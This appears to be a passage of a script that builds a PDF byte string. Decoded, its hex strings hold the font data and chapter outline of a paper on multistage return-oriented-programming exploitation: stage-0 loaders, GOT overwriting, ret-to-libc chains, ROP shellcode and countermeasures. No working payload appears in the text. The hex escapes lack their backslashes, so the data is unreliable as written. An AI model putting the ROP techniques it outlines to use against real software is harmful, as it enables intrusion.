header +="x30x32x20x36x30x32x20x36x30x32x20x36x30x32x20x36" 
header +="x30x32x20x36x30x32x20x36x30x32x20x36x30x32x20x36" 
header +="x30x32x5Dx2Fx42x61x73x65x46x6Fx6Ex74x2Fx47x41x41" 
header +="x41x41x41x2Bx44x65x6Ax61x56x75x53x61x6Ex73x4Dx6F" 
header +="x6Ex6Fx2Fx46x69x72x73x74x43x68x61x72x20x30x2Fx54" 
header +="x6Fx55x6Ex69x63x6Fx64x65x20x31x31x35x20x30x20x52" 
header +="x2Fx54x79x70x65x2Fx46x6Fx6Ex74x3Ex3Ex0Dx0Ax65x6E" 
header +="x64x6Fx62x6Ax0Dx0Ax31x31x38x20x30x20x6Fx62x6Ax0D" 
header +="x0Ax3Cx3Cx2Fx53x74x65x6Dx56x20x38x30x2Fx46x6Fx6E" 
header +="x74x4Ex61x6Dx65x2Fx48x41x41x41x41x41x2Bx44x65x6A" 
header +="x61x56x75x53x61x6Ex73x4Dx6Fx6Ex6Fx2Dx42x6Fx6Cx64" 
header +="x2Fx46x6Fx6Ex74x46x69x6Cx65x32x20x31x31x37x20x30" 
header +="x20x52x2Fx46x6Cx61x67x73x20x35x2Fx44x65x73x63x65" 
header +="x6Ex74x20x2Dx32x33x35x2Fx46x6Fx6Ex74x42x42x6Fx78" 
header +="x5Bx2Dx34x34x36x20x2Dx33x39x34x20x37x32x39x20x31" 
header +="x30x35x31x5Dx2Fx41x73x63x65x6Ex74x20x39x32x38x2F" 
header +="x43x61x70x48x65x69x67x68x74x20x31x30x35x31x2Fx54" 
header +="x79x70x65x2Fx46x6Fx6Ex74x44x65x73x63x72x69x70x74" 
header +="x6Fx72x2Fx49x74x61x6Cx69x63x41x6Ex67x6Cx65x20x30" 
header +="x3Ex3Ex0Dx0Ax65x6Ex64x6Fx62x6Ax0Dx0Ax31x32x30x20" 
header +="x30x20x6Fx62x6Ax0Dx0Ax3Cx3Cx2Fx53x75x62x74x79x70" 
header +="x65x2Fx54x72x75x65x54x79x70x65x2Fx46x6Fx6Ex74x44" 
header +="x65x73x63x72x69x70x74x6Fx72x20x31x31x38x20x30x20" 
header +="x52x2Fx4Cx61x73x74x43x68x61x72x20x37x33x2Fx57x69" 
header +="x64x74x68x73x5Bx36x30x32x20x36x30x32x20x36x30x32" 
header +="x20x36x30x32x20x36x30x32x20x36x30x32x20x36x30x32" 
header +="x20x36x30x32x20x36x30x32x20x36x30x32x20x36x30x32" 
header +="x20x36x30x32x20x36x30x32x20x36x30x32x20x36x30x32" 
header +="x20x36x30x32x20x36x30x32x20x36x30x32x20x36x30x32" 
header +="x20x36x30x32x20x36x30x32x20x36x30x32x20x36x30x32" 
header +="x20x36x30x32x20x36x30x32x20x36x30x32x20x36x30x32" 
header +="x20x36x30x32x20x36x30x32x20x36x30x32x20x36x30x32" 
header +="x20x36x30x32x20x36x30x32x20x36x30x32x20x36x30x32" 
header +="x20x36x30x32x20x36x30x32x20x36x30x32x20x36x30x32" 
header +="x20x36x30x32x20x36x30x32x20x36x30x32x20x36x30x32" 
header +="x20x36x30x32x20x36x30x32x20x36x30x32x20x36x30x32" 
header +="x20x36x30x32x20x36x30x32x20x36x30x32x20x36x30x32" 
header +="x20x36x30x32x20x36x30x32x20x36x30x32x20x36x30x32" 
header +="x20x36x30x32x20x36x30x32x20x36x30x32x20x36x30x32" 
header +="x20x36x30x32x20x36x30x32x20x36x30x32x20x36x30x32" 
header +="x20x36x30x32x20x36x30x32x20x36x30x32x20x36x30x32" 
header +="x20x36x30x32x20x36x30x32x20x36x30x32x20x36x30x32" 
header +="x20x36x30x32x20x36x30x32x20x36x30x32x5Dx2Fx42x61" 
header +="x73x65x46x6Fx6Ex74x2Fx48x41x41x41x41x41x2Bx44x65" 
header +="x6Ax61x56x75x53x61x6Ex73x4Dx6Fx6Ex6Fx2Dx42x6Fx6C" 
header +="x64x2Fx46x69x72x73x74x43x68x61x72x20x30x2Fx54x6F" 
header +="x55x6Ex69x63x6Fx64x65x20x31x31x39x20x30x20x52x2F" 
header +="x54x79x70x65x2Fx46x6Fx6Ex74x3Ex3Ex0Dx0Ax65x6Ex64" 
header +="x6Fx62x6Ax0Dx0Ax31x32x32x20x30x20x6Fx62x6Ax0Dx0A" 
header +="x3Cx3Cx2Fx53x74x65x6Dx56x20x38x30x2Fx46x6Fx6Ex74" 
header +="x4Ex61x6Dx65x2Fx49x41x41x41x41x41x2Bx44x65x6Ax61" 
header +="x56x75x53x61x6Ex73x4Dx6Fx6Ex6Fx2Dx4Fx62x6Cx69x71" 
header +="x75x65x2Fx46x6Fx6Ex74x46x69x6Cx65x32x20x31x32x31" 
header +="x20x30x20x52x2Fx46x6Cx61x67x73x20x36x39x2Fx44x65" 
header +="x73x63x65x6Ex74x20x2Dx32x33x35x2Fx46x6Fx6Ex74x42" 
header +="x42x6Fx78x5Bx2Dx34x30x32x20x2Dx33x37x34x20x37x34" 
header +="x35x20x31x30x32x37x5Dx2Fx41x73x63x65x6Ex74x20x39" 
header +="x32x38x2Fx43x61x70x48x65x69x67x68x74x20x31x30x32" 
header +="x37x2Fx54x79x70x65x2Fx46x6Fx6Ex74x44x65x73x63x72" 
header +="x69x70x74x6Fx72x2Fx49x74x61x6Cx69x63x41x6Ex67x6C" 
header +="x65x20x2Dx33x30x3Ex3Ex0Dx0Ax65x6Ex64x6Fx62x6Ax0D" 
header +="x0Ax31x32x34x20x30x20x6Fx62x6Ax0Dx0Ax3Cx3Cx2Fx53" 
header +="x75x62x74x79x70x65x2Fx54x72x75x65x54x79x70x65x2F" 
header +="x46x6Fx6Ex74x44x65x73x63x72x69x70x74x6Fx72x20x31" 
header +="x32x32x20x30x20x52x2Fx4Cx61x73x74x43x68x61x72x20" 
header +="x35x32x2Fx57x69x64x74x68x73x5Bx36x30x32x20x36x30" 
header +="x32x20x36x30x32x20x36x30x32x20x36x30x32x20x36x30" 
header +="x32x20x36x30x32x20x36x30x32x20x36x30x32x20x36x30" 
header +="x32x20x36x30x32x20x36x30x32x20x36x30x32x20x36x30" 
header +="x32x20x36x30x32x20x36x30x32x20x36x30x32x20x36x30" 
header +="x32x20x36x30x32x20x36x30x32x20x36x30x32x20x36x30" 
header +="x32x20x36x30x32x20x36x30x32x20x36x30x32x20x36x30" 
header +="x32x20x36x30x32x20x36x30x32x20x36x30x32x20x36x30" 
header +="x32x20x36x30x32x20x36x30x32x20x36x30x32x20x36x30" 
header +="x32x20x36x30x32x20x36x30x32x20x36x30x32x20x36x30" 
header +="x32x20x36x30x32x20x36x30x32x20x36x30x32x20x36x30" 
header +="x32x20x36x30x32x20x36x30x32x20x36x30x32x20x36x30" 
header +="x32x20x36x30x32x20x36x30x32x20x36x30x32x20x36x30" 
header +="x32x20x36x30x32x20x36x30x32x20x36x30x32x5Dx2Fx42" 
header +="x61x73x65x46x6Fx6Ex74x2Fx49x41x41x41x41x41x2Bx44" 
header +="x65x6Ax61x56x75x53x61x6Ex73x4Dx6Fx6Ex6Fx2Dx4Fx62" 
header +="x6Cx69x71x75x65x2Fx46x69x72x73x74x43x68x61x72x20" 
header +="x30x2Fx54x6Fx55x6Ex69x63x6Fx64x65x20x31x32x33x20" 
header +="x30x20x52x2Fx54x79x70x65x2Fx46x6Fx6Ex74x3Ex3Ex0D" 
header +="x0Ax65x6Ex64x6Fx62x6Ax0Dx0Ax35x35x20x30x20x6Fx62" 
header +="x6Ax0Dx0Ax3Cx3Cx2Fx50x61x72x65x6Ex74x20x35x34x20" 
header +="x30x20x52x2Fx4Ex65x78x74x20x36x32x20x30x20x52x2F" 
header +="x44x65x73x74x5Bx33x20x30x20x52x2Fx58x59x5Ax20x37" 
header +="x38x2Ex33x20x37x32x33x2Ex33x20x30x5Dx2Fx43x6Fx75" 
header +="x6Ex74x20x30x2Fx54x69x74x6Cx65x28xFExFFx00x20x00" 
header +="x31x00x20x00x20x00x49x00x6Ex00x74x00x72x00x6Fx00" 
header +="x64x00x75x00x63x00x74x00x69x00x6Fx00x6Ex29x3Ex3E" 
header +="x0Dx0Ax65x6Ex64x6Fx62x6Ax0Dx0Ax35x36x20x30x20x6F" 
header +="x62x6Ax0Dx0Ax3Cx3Cx2Fx50x61x72x65x6Ex74x20x35x34" 
header +="x20x30x20x52x2Fx44x65x73x74x5Bx34x38x20x30x20x52" 
header +="x2Fx58x59x5Ax20x37x38x2Ex33x20x31x36x34x20x30x5D" 
header +="x2Fx43x6Fx75x6Ex74x20x30x2Fx50x72x65x76x20x35x37" 
header +="x20x30x20x52x2Fx54x69x74x6Cx65x28xFExFFx00x20x00" 
header +="x36x00x20x00x20x00x43x00x6Fx00x6Ex00x63x00x6Cx00" 
header +="x75x00x73x00x69x00x6Fx00x6Ex00x73x29x3Ex3Ex0Dx0A" 
header +="x65x6Ex64x6Fx62x6Ax0Dx0Ax35x37x20x30x20x6Fx62x6A" 
header +="x0Dx0Ax3Cx3Cx2Fx50x61x72x65x6Ex74x20x35x34x20x30" 
header +="x20x52x2Fx4Ex65x78x74x20x35x36x20x30x20x52x2Fx44" 
header +="x65x73x74x5Bx34x38x20x30x20x52x2Fx58x59x5Ax20x37" 
header +="x38x2Ex33x20x33x35x30x2Ex35x20x30x5Dx2Fx43x6Fx75" 
header +="x6Ex74x20x30x2Fx50x72x65x76x20x35x38x20x30x20x52" 
header +="x2Fx54x69x74x6Cx65x28xFExFFx00x20x00x35x00x20x00" 
header +="x20x00x43x00x6Fx00x75x00x6Ex00x74x00x65x00x72x00" 
header +="x6Dx00x65x00x61x00x73x00x75x00x72x00x65x00x73x29" 
header +="x3Ex3Ex0Dx0Ax65x6Ex64x6Fx62x6Ax0Dx0Ax35x38x20x30" 
header +="x20x6Fx62x6Ax0Dx0Ax3Cx3Cx2Fx50x61x72x65x6Ex74x20" 
header +="x35x34x20x30x20x52x2Fx4Ex65x78x74x20x35x37x20x30" 
header +="x20x52x2Fx44x65x73x74x5Bx33x37x20x30x20x52x2Fx58" 
header +="x59x5Ax20x37x38x2Ex33x20x33x35x38x2Ex35x20x30x5D" 
header +="x2Fx43x6Fx75x6Ex74x20x30x2Fx50x72x65x76x20x35x39" 
header +="x20x30x20x52x2Fx54x69x74x6Cx65x28xFExFFx00x20x00" 
header +="x34x00x20x00x20x00x50x00x75x00x74x00x74x00x69x00" 
header +="x6Ex00x67x00x20x00x61x00x6Cx00x6Cx00x20x00x74x00" 
header +="x6Fx00x67x00x65x00x74x00x68x00x65x00x72x29x3Ex3E" 
header +="x0Dx0Ax65x6Ex64x6Fx62x6Ax0Dx0Ax35x39x20x30x20x6F" 
header +="x62x6Ax0Dx0Ax3Cx3Cx2Fx46x69x72x73x74x20x36x30x20" 
header +="x30x20x52x2Fx50x61x72x65x6Ex74x20x35x34x20x30x20" 
header +="x52x2Fx4Ex65x78x74x20x35x38x20x30x20x52x2Fx44x65" 
header +="x73x74x5Bx33x32x20x30x20x52x2Fx58x59x5Ax20x37x38" 
header +="x2Ex33x20x36x35x33x2Ex38x20x30x5Dx2Fx43x6Fx75x6E" 
header +="x74x20x34x2Fx4Cx61x73x74x20x36x31x20x30x20x52x2F" 
header +="x50x72x65x76x20x36x32x20x30x20x52x2Fx54x69x74x6C" 
header +="x65x28xFExFFx00x20x00x33x00x20x00x20x00x50x00x72" 
header +="x00x61x00x63x00x74x00x69x00x63x00x61x00x6Cx00x20" 
header +="x00x52x00x4Fx00x50x00x20x00x65x00x78x00x70x00x6C" 
header +="x00x6Fx00x69x00x74x29x3Ex3Ex0Dx0Ax65x6Ex64x6Fx62" 
header +="x6Ax0Dx0Ax36x30x20x30x20x6Fx62x6Ax0Dx0Ax3Cx3Cx2F" 
header +="x46x69x72x73x74x20x37x36x20x30x20x52x2Fx50x61x72" 
header +="x65x6Ex74x20x35x39x20x30x20x52x2Fx4Ex65x78x74x20" 
header +="x36x31x20x30x20x52x2Fx44x65x73x74x5Bx33x32x20x30" 
header +="x20x52x2Fx58x59x5Ax20x38x35x2Ex35x20x36x31x37x2E" 
header +="x32x20x30x5Dx2Fx43x6Fx75x6Ex74x20x32x2Fx4Cx61x73" 
header +="x74x20x37x37x20x30x20x52x2Fx54x69x74x6Cx65x28xFE" 
header +="xFFx00x20x00x33x00x2Ex00x31x00x20x00x20x00x41x00" 
header +="x20x00x63x00x6Fx00x6Dx00x70x00x6Cx00x65x00x74x00" 
header +="x65x00x20x00x73x00x74x00x61x00x67x00x65x00x2Dx00" 
header +="x30x00x20x00x6Cx00x6Fx00x61x00x64x00x65x00x72x29" 
header +="x3Ex3Ex0Dx0Ax65x6Ex64x6Fx62x6Ax0Dx0Ax36x31x20x30" 
header +="x20x6Fx62x6Ax0Dx0Ax3Cx3Cx2Fx50x61x72x65x6Ex74x20" 
header +="x35x39x20x30x20x52x2Fx44x65x73x74x5Bx33x37x20x30" 
header +="x20x52x2Fx58x59x5Ax20x38x35x2Ex35x20x35x36x35x2E" 
header +="x34x20x30x5Dx2Fx43x6Fx75x6Ex74x20x30x2Fx50x72x65" 
header +="x76x20x36x30x20x30x20x52x2Fx54x69x74x6Cx65x28xFE" 
header +="xFFx00x20x00x33x00x2Ex00x32x00x20x00x20x00x50x00" 
header +="x72x00x61x00x63x00x74x00x69x00x63x00x61x00x6Cx00" 
header +="x20x00x52x00x4Fx00x50x00x20x00x67x00x61x00x64x00" 
header +="x67x00x65x00x74x00x73x00x20x00x63x00x61x00x74x00" 
header +="x61x00x6Cx00x6Fx00x67x29x3Ex3Ex0Dx0Ax65x6Ex64x6F" 
header +="x62x6Ax0Dx0Ax36x32x20x30x20x6Fx62x6Ax0Dx0Ax3Cx3C" 
header +="x2Fx46x69x72x73x74x20x36x33x20x30x20x52x2Fx50x61" 
header +="x72x65x6Ex74x20x35x34x20x30x20x52x2Fx4Ex65x78x74" 
header +="x20x35x39x20x30x20x52x2Fx44x65x73x74x5Bx38x20x30" 
header +="x20x52x2Fx58x59x5Ax20x37x38x2Ex33x20x36x38x38x2E" 
header +="x36x20x30x5Dx2Fx43x6Fx75x6Ex74x20x31x33x2Fx4Cx61" 
header +="x73x74x20x36x34x20x30x20x52x2Fx50x72x65x76x20x35" 
header +="x35x20x30x20x52x2Fx54x69x74x6Cx65x28xFExFFx00x20" 
header +="x00x32x00x20x00x20x00x4Dx00x75x00x6Cx00x74x00x69" 
header +="x00x73x00x74x00x61x00x67x00x65x00x20x00x72x00x65" 
header +="x00x74x00x75x00x72x00x6Ex00x2Dx00x6Fx00x72x00x69" 
header +="x00x65x00x6Ex00x74x00x65x00x64x00x20x00x65x00x78" 
header +="x00x70x00x6Cx00x6Fx00x69x00x74x00x61x00x74x00x69" 
header +="x00x6Fx00x6Ex00x20x00x74x00x65x00x63x00x68x00x6E" 
header +="x00x69x00x71x00x75x00x65x00x20x29x3Ex3Ex0Dx0Ax65" 
header +="x6Ex64x6Fx62x6Ax0Dx0Ax36x33x20x30x20x6Fx62x6Ax0D" 
header +="x0Ax3Cx3Cx2Fx50x61x72x65x6Ex74x20x36x32x20x30x20" 
header +="x52x2Fx4Ex65x78x74x20x37x33x20x30x20x52x2Fx44x65" 
header +="x73x74x5Bx38x20x30x20x52x2Fx58x59x5Ax20x38x35x2E" 
header +="x35x20x36x35x32x20x30x5Dx2Fx43x6Fx75x6Ex74x20x30" 
header +="x2Fx54x69x74x6Cx65x28xFExFFx00x20x00x32x00x2Ex00" 
header +="x31x00x20x00x20x00x54x00x68x00x65x00x20x00x73x00" 
header +="x61x00x6Dx00x70x00x6Cx00x65x00x20x00x76x00x75x00" 
header +="x6Cx00x6Ex00x65x00x72x00x61x00x62x00x6Cx00x65x00" 
header +="x20x00x70x00x72x00x6Fx00x67x00x72x00x61x00x6Dx29" 
header +="x3Ex3Ex0Dx0Ax65x6Ex64x6Fx62x6Ax0Dx0Ax36x34x20x30" 
header +="x20x6Fx62x6Ax0Dx0Ax3Cx3Cx2Fx46x69x72x73x74x20x36" 
header +="x35x20x30x20x52x2Fx50x61x72x65x6Ex74x20x36x32x20" 
header +="x30x20x52x2Fx44x65x73x74x5Bx33x30x20x30x20x52x2F" 
header +="x58x59x5Ax20x38x35x2Ex35x20x37x31x31x2Ex36x20x30" 
header +="x5Dx2Fx43x6Fx75x6Ex74x20x33x2Fx4Cx61x73x74x20x36" 
header +="x36x20x30x20x52x2Fx50x72x65x76x20x36x37x20x30x20" 
header +="x52x2Fx54x69x74x6Cx65x28xFExFFx00x20x00x32x00x2E" 
header +="x00x35x00x20x00x20x00x53x00x74x00x61x00x67x00x65" 
header +="x00x2Dx00x31x00x20x00x70x00x61x00x79x00x6Cx00x6F" 
header +="x00x61x00x64x29x3Ex3Ex0Dx0Ax65x6Ex64x6Fx62x6Ax0D" 
header +="x0Ax36x35x20x30x20x6Fx62x6Ax0Dx0Ax3Cx3Cx2Fx50x61" 
header +="x72x65x6Ex74x20x36x34x20x30x20x52x2Fx4Ex65x78x74" 
header +="x20x37x35x20x30x20x52x2Fx44x65x73x74x5Bx33x30x20" 
header +="x30x20x52x2Fx58x59x5Ax20x39x39x2Ex35x20x36x30x32" 
header +="x2Ex35x20x30x5Dx2Fx43x6Fx75x6Ex74x20x30x2Fx54x69" 
header +="x74x6Cx65x28xFExFFx00x20x00x32x00x2Ex00x35x00x2E" 
header +="x00x31x00x20x00x20x00x43x00x68x00x61x00x69x00x6E" 
header +="x00x65x00x64x00x20x00x72x00x65x00x74x00x2Dx00x74" 
header +="x00x6Fx00x2Dx00x6Cx00x69x00x62x00x63x00x20x00x63" 
header +="x00x61x00x6Cx00x6Cx00x73x29x3Ex3Ex0Dx0Ax65x6Ex64" 
header +="x6Fx62x6Ax0Dx0Ax36x36x20x30x20x6Fx62x6Ax0Dx0Ax3C" 
header +="x3Cx2Fx50x61x72x65x6Ex74x20x36x34x20x30x20x52x2F" 
header +="x44x65x73x74x5Bx33x32x20x30x20x52x2Fx58x59x5Ax20" 
header +="x39x39x2Ex35x20x37x33x35x2Ex33x20x30x5Dx2Fx43x6F" 
header +="x75x6Ex74x20x30x2Fx50x72x65x76x20x37x35x20x30x20" 
header +="x52x2Fx54x69x74x6Cx65x28xFExFFx00x20x00x32x00x2E" 
header +="x00x35x00x2Ex00x33x00x20x00x20x00x52x00x4Fx00x50" 
header +="x00x20x00x73x00x68x00x65x00x6Cx00x6Cx00x63x00x6F" 
header +="x00x64x00x65x29x3Ex3Ex0Dx0Ax65x6Ex64x6Fx62x6Ax0D" 
header +="x0Ax36x37x20x30x20x6Fx62x6Ax0Dx0Ax3Cx3Cx2Fx46x69" 
header +="x72x73x74x20x36x38x20x30x20x52x2Fx50x61x72x65x6E" 
header +="x74x20x36x32x20x30x20x52x2Fx4Ex65x78x74x20x36x34" 
header +="x20x30x20x52x2Fx44x65x73x74x5Bx32x30x20x30x20x52" 
header +="x2Fx58x59x5Ax20x38x35x2Ex35x20x31x34x34x2Ex39x20" 
header +="x30x5Dx2Fx43x6Fx75x6Ex74x20x33x2Fx4Cx61x73x74x20" 
header +="x36x39x20x30x20x52x2Fx50x72x65x76x20x37x30x20x30" 
header +="x20x52x2Fx54x69x74x6Cx65x28xFExFFx00x20x00x32x00" 
header +="x2Ex00x34x00x20x00x20x00x52x00x65x00x73x00x6Fx00" 
header +="x6Cx00x76x00x69x00x6Ex00x67x00x20x00x6Cx00x69x00" 
header +="x62x00x63x00x20x00x61x00x64x00x64x00x72x00x65x00" 
header +="x73x00x73x00x65x00x73x29x3Ex3Ex0Dx0Ax65x6Ex64x6F" 
header +="x62x6Ax0Dx0Ax36x38x20x30x20x6Fx62x6Ax0Dx0Ax3Cx3C" 
header +="x2Fx50x61x72x65x6Ex74x20x36x37x20x30x20x52x2Fx4E" 
header +="x65x78x74x20x37x34x20x30x20x52x2Fx44x65x73x74x5B" 
header +="x32x32x20x30x20x52x2Fx58x59x5Ax20x39x39x2Ex35x20" 
header +="x36x36x32x2Ex31x20x30x5Dx2Fx43x6Fx75x6Ex74x20x30" 
header +="x2Fx54x69x74x6Cx65x28xFExFFx00x20x00x32x00x2Ex00" 
header +="x34x00x2Ex00x31x00x20x00x20x00x47x00x4Fx00x54x00" 
header +="x20x00x6Fx00x76x00x65x00x72x00x77x00x72x00x69x00" 
header +="x74x00x69x00x6Ex00x67x29x3Ex3Ex0Dx0Ax65x6Ex64x6F" 
header +="x62x6Ax0Dx0Ax36x39x20x30x20x6Fx62x6Ax0Dx0Ax3Cx3C" 
header +="x2Fx50x61x72x65x6Ex74x20x36x37x20x30x20x52x2Fx44" 
header +="x65x73x74x5Bx32x36x20x30x20x52x2Fx58x59x5Ax20x39" 
header +="x39x2Ex35x20x34x30x35x20x30x5Dx2Fx43x6Fx75x6Ex74" 
header +="x20x30x2Fx50x72x65x76x20x37x34x20x30x20x52x2Fx54" 
header +="x69x74x6Cx65x28xFExFFx00x20x00x32x00x2Ex00x34x00" 
header +="x2Ex00x33x00x20x00x20x00x41x00x76x00x61x00x69x00" 
header +="x6Cx00x61x00x62x00x69x00x6Cx00x69x00x74x00x79x00" 
header +="x20x00x6Fx00x66x00x20x00x47x00x4Fx00x54x00x20x00" 
header +="x6Dx00x61x00x6Ex00x69x00x70x00x75x00x6Cx00x61x00" 
header +="x74x00x69x00x6Fx00x6Ex00x20x00x67x00x61x00x64x00" 
header +="x67x00x65x00x74x00x73x29x3Ex3Ex0Dx0Ax65x6Ex64x6F" 
header +="x62x6Ax0Dx0Ax37x30x20x30x20x6Fx62x6Ax0Dx0Ax3Cx3C" 
header +="x2Fx46x69x72x73x74x20x37x31x20x30x20x52x2Fx50x61" 
header +="x72x65x6Ex74x20x36x32x20x30x20x52x2Fx4Ex65x78x74" 
header +="x20x36x37x20x30x20x52x2Fx44x65x73x74x5Bx31x34x20" 
header +="x30x20x52x2Fx58x59x5Ax20x38x35x2Ex35x20x37x33x35" 
header +="x2Ex33x20x30x5Dx2Fx43x6Fx75x6Ex74x20x32x2Fx4Cx61" 
header +="x73x74x20x37x32x20x30x20x52x2Fx50x72x65x76x20x37" 
header +="x33x20x30x20x52x2Fx54x69x74x6Cx65x28xFExFFx00x20" 
header +="x00x32x00x2Ex00x33x00x20x00x20x00x53x00x74x00x61" 
header +="x00x67x00x65x00x2Dx00x30x00x20x00x70x00x61x00x79" 
header +="x00x6Cx00x6Fx00x61x00x64x00x20x00x6Cx00x6Fx00x61" 
header +="x00x64x00x65x00x72x29x3Ex3Ex0Dx0Ax65x6Ex64x6Fx62" 
header +="x6Ax0Dx0Ax37x31x20x30x20x6Fx62x6Ax0Dx0Ax3Cx3Cx2F" 
header +="x50x61x72x65x6Ex74x20x37x30x20x30x20x52x2Fx4Ex65" 
header +="x78x74x20x37x32x20x30x20x52x2Fx44x65x73x74x5Bx31" 
header +="x34x20x30x20x52x2Fx58x59x5Ax20x39x39x2Ex35x20x35" 
header +="x37x31x20x30x5Dx2Fx43x6Fx75x6Ex74x20x30x2Fx54x69" 
header +="x74x6Cx65x28xFExFFx00x20x00x32x00x2Ex00x33x00x2E" 
header +="x00x31x00x20x00x20x00x52x00x65x00x74x00x75x00x72" 
header +="x00x6Ex00x2Dx00x74x00x6Fx00x2Dx00x70x00x6Cx00x74" 
header +="x29x3Ex3Ex0Dx0Ax65x6Ex64x6Fx62x6Ax0Dx0Ax37x32x20" 
header +="x30x20x6Fx62x6Ax0Dx0Ax3Cx3Cx2Fx50x61x72x65x6Ex74" 
header +="x20x37x30x20x30x20x52x2Fx44x65x73x74x5Bx31x36x20" 
header +="x30x20x52x2Fx58x59x5Ax20x39x39x2Ex35x20x32x37x31" 
header +="x2Ex38x20x30x5Dx2Fx43x6Fx75x6Ex74x20x30x2Fx50x72" 
header +="x65x76x20x37x31x20x30x20x52x2Fx54x69x74x6Cx65x28" 
header +="xFExFFx00x20x00x32x00x2Ex00x33x00x2Ex00x32x00x20" 
header +="x00x20x00x54x00x68x00x65x00x20x00x6Cx00x6Fx00x61" 
header +="x00x64x00x65x00x72x29x3Ex3Ex0Dx0Ax65x6Ex64x6Fx62" 
header +="x6Ax0Dx0Ax37x33x20x30x20x6Fx62x6Ax0Dx0Ax3Cx3Cx2F" 
header +="x50x61x72x65x6Ex74x20x36x32x20x30x20x52x2Fx4Ex65" 
header +="x78x74x20x37x30x20x30x20x52x2Fx44x65x73x74x5Bx38" 
header +="x20x30x20x52x2Fx58x59x5Ax20x38x35x2Ex35x20x32x36" 
header +="x38x2Ex38x20x30x5Dx2Fx43x6Fx75x6Ex74x20x30x2Fx50" 
header +="x72x65x76x20x36x33x20x30x20x52x2Fx54x69x74x6Cx65" 
header +="x28xFExFFx00x20x00x32x00x2Ex00x32x00x20x00x20x00" 
header +="x41x00x20x00x63x00x75x00x73x00x74x00x6Fx00x6Dx00" 
header +="x20x00x73x00x74x00x61x00x63x00x6Bx00x20x00x61x00" 
header +="x74x00x20x00x66x00x69x00x78x00x65x00x64x00x20x00" 
header +="x6Cx00x6Fx00x63x00x61x00x74x00x69x00x6Fx00x6Ex29" 
header +="x3Ex3Ex0Dx0Ax65x6Ex64x6Fx62x6Ax0Dx0Ax37x34x20x30" 
header +="x20x6Fx62x6Ax0Dx0Ax3Cx3Cx2Fx50x61x72x65x6Ex74x20" 
header +="x36x37x20x30x20x52x2Fx4Ex65x78x74x20x36x39x20x30" 
header +="x20x52x2Fx44x65x73x74x5Bx32x34x20x30x20x52x2Fx58" 
header +="x59x5Ax20x39x39x2Ex35x20x34x35x32x2Ex35x20x30x5D" 
header +="x2Fx43x6Fx75x6Ex74x20x30x2Fx50x72x65x76x20x36x38" 
header +="x20x30x20x52x2Fx54x69x74x6Cx65x28xFExFFx00x20x00" 
header +="x32x00x2Ex00x34x00x2Ex00x32x00x20x00x20x00x47x00" 
header +="x4Fx00x54x00x20x00x64x00x65x00x72x00x65x00x66x00" 
header +="x65x00x72x00x65x00x6Ex00x63x00x69x00x6Ex00x67x29" 
header +="x3Ex3Ex0Dx0Ax65x6Ex64x6Fx62x6Ax0Dx0Ax37x35x20x30" 
header +="x20x6Fx62x6Ax0Dx0Ax3Cx3Cx2Fx50x61x72x65x6Ex74x20" 
header +="x36x34x20x30x20x52x2Fx4Ex65x78x74x20x36x36x20x30" 
header +="x20x52x2Fx44x65x73x74x5Bx33x30x20x30x20x52x2Fx58" 
header +="x59x5Ax20x39x39x2Ex35x20x31x39x39x2Ex36x20x30x5D" 
header +="x2Fx43x6Fx75x6Ex74x20x30x2Fx50x72x65x76x20x36x35" 
header +="x20x30x20x52x2Fx54x69x74x6Cx65x28xFExFFx00x20x00" 
header +="x32x00x2Ex00x35x00x2Ex00x32x00x20x00x20x00x52x00" 
header +="x65x00x74x00x75x00x72x00x6Ex00x2Dx00x74x00x6Fx00" 
header +="x2Dx00x6Dx00x70x00x72x00x6Fx00x74x00x65x00x63x00" 
header +="x74x29x3Ex3Ex0Dx0Ax65x6Ex64x6Fx62x6Ax0Dx0Ax37x36" 
header +="x20x30x20x6Fx62x6Ax0Dx0Ax3Cx3Cx2Fx50x61x72x65x6E" 
header +="x74x20x36x30x20x30x20x52x2Fx4Ex65x78x74x20x37x37" 
header +="x20x30x20x52x2Fx44x65x73x74x5Bx33x32x20x30x20x52" 
header +="x2Fx58x59x5Ax20x39x39x2Ex35x20x35x32x31x2Ex39x20" 
header +="x30x5Dx2Fx43x6Fx75x6Ex74x20x30x2Fx54x69x74x6Cx65" 
header +="x28xFExFFx00x20x00x33x00x2Ex00x31x00x2Ex00x31x00" 
header +="x20x00x20x00x54x00x75x00x72x00x6Ex00x20x00x61x00" 
header +="x6Ex00x79x00x20x00x66x00x75x00x6Ex00x63x00x74x00" 
header +="x69x00x6Fx00x6Ex00x20x00x74x00x6Fx00x20x00x73x00" 
header +="x74x00x72x00x63x00x70x00x79x00x5Cx28x00x5Cx29x00" 
header +="x20x00x2Fx00x20x00x70x00x72x00x69x00x6Ex00x74x00" 
header +="x66x00x5Cx28x00x5Cx29x29x3Ex3Ex0Dx0Ax65x6Ex64x6F" 
header +="x62x6Ax0Dx0Ax37x37x20x30x20x6Fx62x6Ax0Dx0Ax3Cx3C" 
header +="x2Fx50x61x72x65x6Ex74x20x36x30x20x30x20x52x2Fx44" 
header +="x65x73x74x5Bx33x37x20x30x20x52x2Fx58x59x5Ax20x39" 
header +="x39x2Ex35x20x37x33x35x2Ex33x20x30x5Dx2Fx43x6Fx75" 
header +="x6Ex74x20x30x2Fx50x72x65x76x20x37x36x20x30x20x52" 
header +="x2Fx54x69x74x6Cx65x28xFExFFx00x20x00x33x00x2Ex00" 
header +="x31x00x2Ex00x32x00x20x00x20x00x52x00x4Fx00x50x00" 
header +="x20x00x73x00x74x00x61x00x67x00x65x00x2Dx00x30x00" 
header +="x20x00x6Cx00x6Fx00x61x00x64x00x65x00x72x29x3Ex3E" 
header +="x0Dx0Ax65x6Ex64x6Fx62x6Ax0Dx0Ax37x38x20x30x20x6F" 
header +="x62x6Ax0Dx0Ax3Cx3Cx2Fx43x6Fx75x6Ex74x20x32x31x2F" 
header +="x54x79x70x65x2Fx50x61x67x65x73x2Fx4Bx69x64x73x5B" 
header +="x38x33x20x30x20x52x20x31x20x30x20x52x20x33x20x30" 
header +="x20x52x20x38x20x30x20x52x20x31x32x20x30x20x52x20" 
header +="x31x34x20x30x20x52x20x31x36x20x30x20x52x20x32x30" 
header +="x20x30x20x52x20x32x32x20x30x20x52x20x32x34x20x30" 
header +="x20x52x20x32x36x20x30x20x52x20x33x30x20x30x20x52" 
header +="x20x33x32x20x30x20x52x20x33x37x20x30x20x52x20x34" 
header +="x30x20x30x20x52x20x34x32x20x30x20x52x20x34x34x20" 
header +="x30x20x52x20x34x36x20x30x20x52x20x34x38x20x30x20" 
header +="x52x20x35x30x20x30x20x52x20x35x32x20x30x20x52x5D" 
